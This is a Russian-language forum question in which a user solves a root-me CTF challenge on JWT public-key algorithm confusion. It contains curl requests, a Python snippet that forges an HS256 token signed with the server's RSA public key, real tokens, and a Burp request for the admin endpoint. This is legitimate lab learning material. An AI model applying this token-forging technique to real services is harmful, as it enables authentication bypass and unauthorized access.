@HexUserHex

CTF JSON Web Token (JWT) — Public key(root-me)?

Добрый день,
уже несколько дней не могу пройти данный CTF root-me проблема возникает именно на последнем этапе.. который я уже вроде и понял как нужно проходить.

Statement
You find an API with 3 endpoints:
    /key (accessible with GET)
    /auth (accessible with POST)
    /admin (accessible with POST)

There is sure to be important data in the admin section, access it!


Получаю публичный ключ.
1.curl challenge01.root-me.org/web-serveur/ch60/key
привожу его в человеческий формат:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxDoTVDg3znEGjlTjHb+l
Ev+KuEav5DYdTP+QhQEUl/h2w9BEEBiIz7Sg0BDH2HlacE9dYoIhzBCPSKG6gOqt
FIlhNts2S7vuPJq7RyNgDkNi829ah7V914yTqkpKTaqCHN7psvxjefRnijNxMUoI
0MWBvwZkDRBS6yVCxzLcgrAO5nBZHHd+f5pTE3qIfenEpyGeIElj0g1JkZQlkJz8
13eH+nvJP7wcwciU8CvSKs3BWvw4bSE2BkzvE1bsoi8Z2fha0RkTwvX2ENdF8XvB
KrNhIFTDqmMQGl3qMA8WhJG+aBuNJJDNaOv9VUut9gfUzzEmoHWm5wksArHeOprt
6wIDAQAB
-----END PUBLIC KEY-----


Получаю свой токен
2.
curl -X POST -d "username=admin;" http://challenge01.root-me.org/web-serveur/ch60/auth


{"Here is your token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluOyJ9.Lu0uyubEQjoSDKcS8VKD6ou6RCt-8Emi7TGRmpxLeT8hD7Vb79EfVAlRqJTPDpLJmGoJLvBr6MNZXUgzU10VSi-oMWufM6P8pL4z68riQOdAfO9-7w3ut1CNM_yIaqi_HMdAEyb4ue3qlxBhAtCSVGhvQBLt-0hPXh6Gm6ZklfBoXMscWhJtvCLqrP5s_pb5otneS0AT0djohvUc466o_maOA-Silu8Sjlte7NzTcx7P6pJkKiBqv7cBVyfuVmZewB0vNghQL8mOzalV_utoow4teMTt3wFc8VYdBczimWchkSQKJhUi60kocNdVlv-xD1x6Gl43Jmky1DTFy28-kg", "result": "Hello admin;"}

3. Немного почитав я пришел к выводу что на третьем этапе нужно отправить токен подписанный полученным паблик ключем(alg:RSA) при том что сервер ожидает токен с подписью HMAC(HS256/HS512) благодаря этому сервер автоматически примет мой токен, я пробую сразу создать и подписать токен в python.

import jwt

public = open('key.pem', 'r').read()
print public
print jwt.encode({"username":"admin"}, key=public, algorithm='HS256')


На входе получаю свой токен который мне необходимо отправить:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4


Отправляю свой подписанный токен:
curl -X POST http://challenge01.root-me.org/web-serveur/ch59/admin -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4'
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}


Решил: кому интересно вот запрос для burp-a:
POST /web-serveur/ch60/admin HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Authorization: Bearer твой_подписанный_токен
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  • Вопрос задан
  • 2967 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы